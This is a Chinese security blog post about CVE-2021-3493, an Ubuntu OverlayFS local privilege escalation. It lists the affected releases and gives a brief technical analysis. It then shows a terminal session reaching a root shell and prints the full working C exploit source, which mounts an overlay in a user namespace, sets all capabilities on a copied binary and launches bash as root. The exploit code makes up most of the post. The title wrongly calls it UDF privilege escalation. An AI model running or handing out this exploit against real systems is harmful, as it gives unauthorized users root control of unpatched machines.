ubuntu16.04提权(linux udf提权)

影响范围

  • Ubuntu 20 10

  • Ubuntu 20 04 LTS

  • Ubuntu 18 04 LTS

  • Ubuntu 16 04 LTS

  • Ubuntu 14 04 ESM

漏洞类型

本地权限提升

利用条件

影响范围应用

漏洞概述

Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允许非特权的overlayfs挂载,本地攻击者可以利用它来获得更高的权限。

漏洞复现

ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c  -o exploitubuntu@ubuntu:~/CVE-2021-3493$ ./exploitbash-4.4# iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)bash-4.4# whoamirootbash-4.4#

漏洞分析

Linux支持file capabilities扩展文件属性,该属性的作用类似于setuid-bit,但可以更细化,使用伪代码设置文件功能的简化过程如下所示:

setxattr(...):    if cap_convert_nscap(...) is not OK:        then fail    vfs_setxattr(...)

这里的关键调用是cap_convert_nscap,它检查有关namespaces的权限

如果我们在namespaces和mount上设置文件功能,就没有问题,而且我们有这样做的权限,问题是当OverlayFS将此操作转发到底层文件系统时,它只调用vfs_setxattr并跳过cap_convert_nscap中的检查,这允许在外部namespaces/mount中的文件上设置任意功能,在执行过程中也将应用这些功能。

在Linux 5.11中,对cap_convert_scap的调用被移动到vfssetx_attr中,因此它不再易受攻击。

漏洞EXP

    #define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <err.h>#include <errno.h>#include <sched.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/mount.h>
    //#include <attr/xattr.h>//#include <sys/xattr.h>int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

    #define DIR_BASE \\\"./ovlcap\\\"#define DIR_WORK DIR_BASE \\\"/work\\\"#define DIR_LOWER DIR_BASE \\\"/lower\\\"#define DIR_UPPER DIR_BASE \\\"/upper\\\"#define DIR_MERGE DIR_BASE \\\"/merge\\\"#define BIN_MERGE DIR_MERGE \\\"/magic\\\"#define BIN_UPPER DIR_UPPER \\\"/magic\\\"

    static void xmkdir(const char *path, mode_t mode){ if (mkdir(path, mode) == -1 && errno != EEXIST) err(1, \\\"mkdir %s\\\", path);}
    static void xwritefile(const char *path, const char *data){ int fd = open(path, O_WRONLY); if (fd == -1) err(1, \\\"open %s\\\", path); ssize_t len = (ssize_t) strlen(data); if (write(fd, data, len) != len) err(1, \\\"write %s\\\", path); close(fd);}
    static void xcopyfile(const char *src, const char *dst, mode_t mode){ int fi, fo;
    if ((fi = open(src, O_RDONLY)) == -1) err(1, \\\"open %s\\\", src); if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1) err(1, \\\"open %s\\\", dst);
    char buf[4096]; ssize_t rd, wr;
    for (;;) { rd = read(fi, buf, sizeof(buf)); if (rd == 0) { break; } else if (rd == -1) { if (errno == EINTR) continue; err(1, \\\"read %s\\\", src); }
    char *p = buf; while (rd > 0) { wr = write(fo, p, rd); if (wr == -1) { if (errno == EINTR) continue; err(1, \\\"write %s\\\", dst); } p += wr; rd -= wr; } }
    close(fi); close(fo);}
    static int exploit(){ char buf[4096];
    sprintf(buf, \\\"rm -rf \\\'%s/\\\'\\\", DIR_BASE); system(buf);
    xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK, 0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_MERGE, 0777);
    uid_t uid = getuid(); gid_t gid = getgid();
    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, \\\"unshare\\\");
    xwritefile(\\\"/proc/self/setgroups\\\", \\\"deny\\\");
    sprintf(buf, \\\"0 %d 1\\\", uid); xwritefile(\\\"/proc/self/uid_map\\\", buf);
    sprintf(buf, \\\"0 %d 1\\\", gid); xwritefile(\\\"/proc/self/gid_map\\\", buf);
    sprintf(buf, \\\"lowerdir=%s,upperdir=%s,workdir=%s\\\", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount(\\\"overlay\\\", DIR_MERGE, \\\"overlay\\\", 0, buf) == -1) err(1, \\\"mount %s\\\", DIR_MERGE);
    // all+ep char cap[] = \\\"\\\\x01\\\\x00\\\\x00\\\\x02\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\";
    xcopyfile(\\\"/proc/self/exe\\\", BIN_MERGE, 0777); if (setxattr(BIN_MERGE, \\\"security.capability\\\", cap, sizeof(cap) - 1, 0) == -1) err(1, \\\"setxattr %s\\\", BIN_MERGE);
    return 0;}
    int main(int argc, char *argv[]){ if (strstr(argv[0], \\\"magic\\\") || (argc > 1 && !strcmp(argv[1], \\\"shell\\\"))) { setuid(0); setgid(0); execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\", \\\"--norc\\\", \\\"--noprofile\\\", \\\"-i\\\", NULL); err(1, \\\"execl /bin/bash\\\"); }
    pid_t child = fork(); if (child == -1) err(1, \\\"fork\\\");
    if (child == 0) { _exit(exploit()); } else { waitpid(child, NULL, 0); }
    execl(BIN_UPPER, BIN_UPPER, \\\"shell\\\", NULL); err(1, \\\"execl %s\\\", BIN_UPPER);}

    参考链接

    https://ubuntu.com/security/CVE-2021-3493

    SSD Advisory – OverlayFS PE

    https://www.openwall.com/lists/oss-security/2021/04/16/1

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34345.html

    Like (0)
    七芒星实验室的头像七芒星实验室
    Previous 2024年4月13日
    Next 2024年4月13日

    相关推荐

    • 小孩编程需要什么电脑

      一、选择入门级配置 家长可能需要监控孩子的计算机使用情况,以确保孩子安全地使用互联网和基于编程的学习工具。选择允许家长设置使用限制的操作系统更有利,因为它允许家长控制孩子的上网时间…

      网站运维 2024年5月12日
      0
    • 什么是TDK?如何设置Title,Description,Keywords?

      随着互联网的快速发展,SEO优化成为网站运营中不可或缺的一环。而在SEO优化中,TDK设置是非常重要的一步。正确的TDK设置可以帮助网站排名更靠前,吸引更多用户。本文将从基础的概念…

      2024年3月21日
      0
    • 编程设计是什么课

      编程设计是一门集理论知识与实践技能为一体的课程主要教授如何使用编程语言解决实际问题。除了学习编程语言的基本语法、数据结构和算法基础之外,本课程还培养逻辑思维和解决问题的能力。编程设…

      网站运维 2024年5月12日
      0
    • Linux系统路由命令分析

      考试题一:linux下如何添加路由(百度面试题)以上是原题,老男孩老师翻译成如下3道题。a.如何用命令行方式给linux机器添加一个默认网关,假设网关地址为10

      2024年9月26日
      0

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注